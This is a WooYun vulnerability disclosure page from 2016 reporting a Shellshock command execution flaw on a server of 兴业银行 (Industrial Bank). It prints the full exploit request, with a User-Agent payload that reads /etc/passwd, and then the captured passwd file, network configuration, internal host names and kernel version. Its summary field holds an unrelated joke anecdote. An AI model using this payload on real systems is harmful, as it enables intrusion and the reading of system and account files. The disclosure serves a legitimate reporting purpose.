当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191500

漏洞标题：神器而已之兴业银行某站bash破壳命令执行漏洞

相关厂商：兴业银行

漏洞作者： 路人甲

提交时间：2016-04-01 21:00

修复时间：2016-05-20 16:00

公开时间：2016-05-20 16:00

漏洞类型：命令执行

危害等级：高

自评Rank：18

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2016-04-01： 细节已通知厂商并且等待厂商处理中
2016-04-05： 厂商已经确认，细节仅向厂商公开
2016-04-15： 细节向核心白帽子及相关领域专家公开
2016-04-25： 细节向普通白帽子公开
2016-05-05： 细节向实习白帽子公开
2016-05-20： 细节向公众公开

简要描述：

记得刚上初一的时候，我爸爸第一次说要来接我，因为从小学一直是妈妈接送。放学后我等了一个小时还没看到人，然后我就自己走路回了，回到家后，爸爸就拿衣架打我，还说我为什么逃课，在××小学等我半个多小时了还没等到，我哭着说：“爸，我上初一啦”

详细说明：

bash破壳漏洞
GET /cgi-bin/test-cgi HTTP/1.1
Host: **.**.**.**:26063
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: () { ignored; }; echo Content-Type: text/plain ; echo ; /bin/cat /etc/passwd;
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: Hm_lvt_9311ae0af3818e9231e72458be9cdbce=1459494482; Hm_lpvt_9311ae0af3818e9231e72458be9cdbce=1459504395
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
usbmuxd:x:113:113:usbmuxd user:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
rtkit:x:499:496:RealtimeKit:/proc:/sbin/nologin
avahi-autoipd:x:170:170:Avahi IPv4LL Stack:/var/lib/avahi-autoipd:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
gdm:x:42:42::/var/lib/gdm:/sbin/nologin
ntp:x:38:38::/etc/ntp:/sbin/nologin
saslauth:x:498:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
pulse:x:497:493:PulseAudio System Daemon:/var/run/pulse:/sbin/nologin
xguest:x:500:500:Guest:/home/xguest:/bin/bash
sabayon:x:86:86:Sabayon user:/home/sabayon:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/home/oprofile:/sbin/nologin
cib:x:501:501:cib:/home/cib:/bin/bash
weblogic:x:502:502::/weblogic:/bin/bash
booking:x:503:503::/home/booking:/bin/bash
apache:x:504:504::/home/apache:/bin/bash
tomcat:x:505:505::/home/tomcat:/bin/bash
ftpuser:x:506:506::/home/ftpuser:/bin/bash


读取passwd.png


ifconfig
eth1      Link encap:Ethernet  HWaddr 00:50:56:AA:0E:68  
          inet addr:**.**.**.**  Bcast:**.**.**.**  Mask:**.**.**.**
          inet6 addr: fe80::250:56ff:feaa:e68/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:18258051 errors:0 dropped:0 overruns:0 frame:0
          TX packets:4591124 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:3491006812 (3.2 GiB)  TX bytes:5373379859 (5.0 GiB)
lo        Link encap:Local Loopback  
          inet addr:**.**.**.**  Mask:**.**.**.**
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:295743 errors:0 dropped:0 overruns:0 frame:0
          TX packets:295743 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:1088978658 (1.0 GiB)  TX bytes:1088978658 (1.0 GiB)


hosts
**.**.**.**   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
**.**.**.**	DOU-PORTAL-SVR1
**.**.**.**	DOU-PORTAL-SVR2
**.**.**.**	DOU-DB-SVR1
	
**.**.**.**	VECP-APACHE-SVR1
**.**.**.**	VECP-APACHE-SVR2
**.**.**.**	VECP-OA-SVR1
**.**.**.**	VECP-OA-SVR2
**.**.**.**	VECP-PORTAL-SVR1
**.**.**.**	VECP-PORTAL-SVR2
**.**.**.**	VECP-DB-SVR1
**.**.**.**    WLS-APP-SVR1
**.**.**.**    WLS-APP-SVR2


/proc/version
Linux version 2.6.32-431.el6.x86_64 (mockbuild@**.**.**.**) (gcc version 4.4.7 20120313 (Red Hat 4.4.7-4) (GCC) ) #1 SMP Sun Nov 10 22:19:54 EST 2013


漏洞证明：

修复方案：

升级下吧

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2016-04-05 15:52

厂商回复：

CNVD未复现所述情况,已经转由CNCERT直接通报给对应银行集团公司,并抄报福建分中心协助处置,由其后续协调网站管理部门处置.

最新状态：

暂无